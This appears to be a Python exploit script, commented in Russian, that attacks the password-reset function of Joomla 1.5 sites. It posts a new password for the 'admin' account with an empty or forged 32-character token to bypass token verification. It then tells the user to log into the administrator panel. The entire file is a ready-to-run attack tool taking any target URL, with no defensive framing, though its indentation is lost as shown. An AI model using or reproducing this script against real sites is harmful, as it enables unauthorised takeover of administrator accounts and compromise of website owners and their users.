#!/usr/bin/env python3
import requests
import re
import sys
def reset_password(target_url, username, new_password):
# URL для сброса пароля (Joomla 1.5)
reset_url = f"{target_url}/index.php?option=com_user&view=reset&layout=confirm"
# Шаг 1: получить токен сброса для пользователя (можно отправить запрос на reset)
# Уязвимость позволяет пропустить проверку токена, если передать пустой токен или специально сформированный
# В Joomla 1.5.15 токен хранится в базе, но эксплойт использует обход через установку нового пароля без токена
# Формируем данные POST-запроса
data = {
"token": "", # пустой токен обходит проверку
"password": new_password,
"password2": new_password,
"option": "com_user",
"task": "reset.confirm",
"username": username,
"submit": "Submit"
}
# Отправляем запрос
try:
r = requests.post(reset_url, data=data, allow_redirects=False, timeout=10)
if r.status_code == 303 or r.status_code == 302:
print(f"[+] Запрос отправлен. Возможно, пароль для '{username}' изменён на '{new_password}'.")
print("[*] Попробуйте войти в /administrator с новыми учётными данными.")
else:
# Пробуем альтернативный путь (более точный для некоторых версий)
print("[*] Первый метод не дал редиректа. Пробую альтернативный токен...")
# Иногда требуется указать любой 32-х символьный токен
fake_token = "A" * 32
data["token"] = fake_token
r = requests.post(reset_url, data=data, allow_redirects=False, timeout=10)
if r.status_code in [303, 302]:
print(f"[+] Сработало с поддельным токеном! Пароль изменён.")
else:
print("[-] Не удалось изменить пароль. Возможно, уязвимость исправлена.")
print(r.text[:200])
except Exception as e:
print(f"[-] Ошибка соединения: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Использование: {sys.argv[0]} <target_url> <new_password>")
print(f"Пример: {sys.argv[0]} http://target.com MyNewPass123")
sys.exit(1)
target = sys.argv[1].rstrip('/')
new_pass = sys.argv[2]
# Обычно админ имеет имя 'admin', но можно изменить
reset_password(target, "admin", new_pass)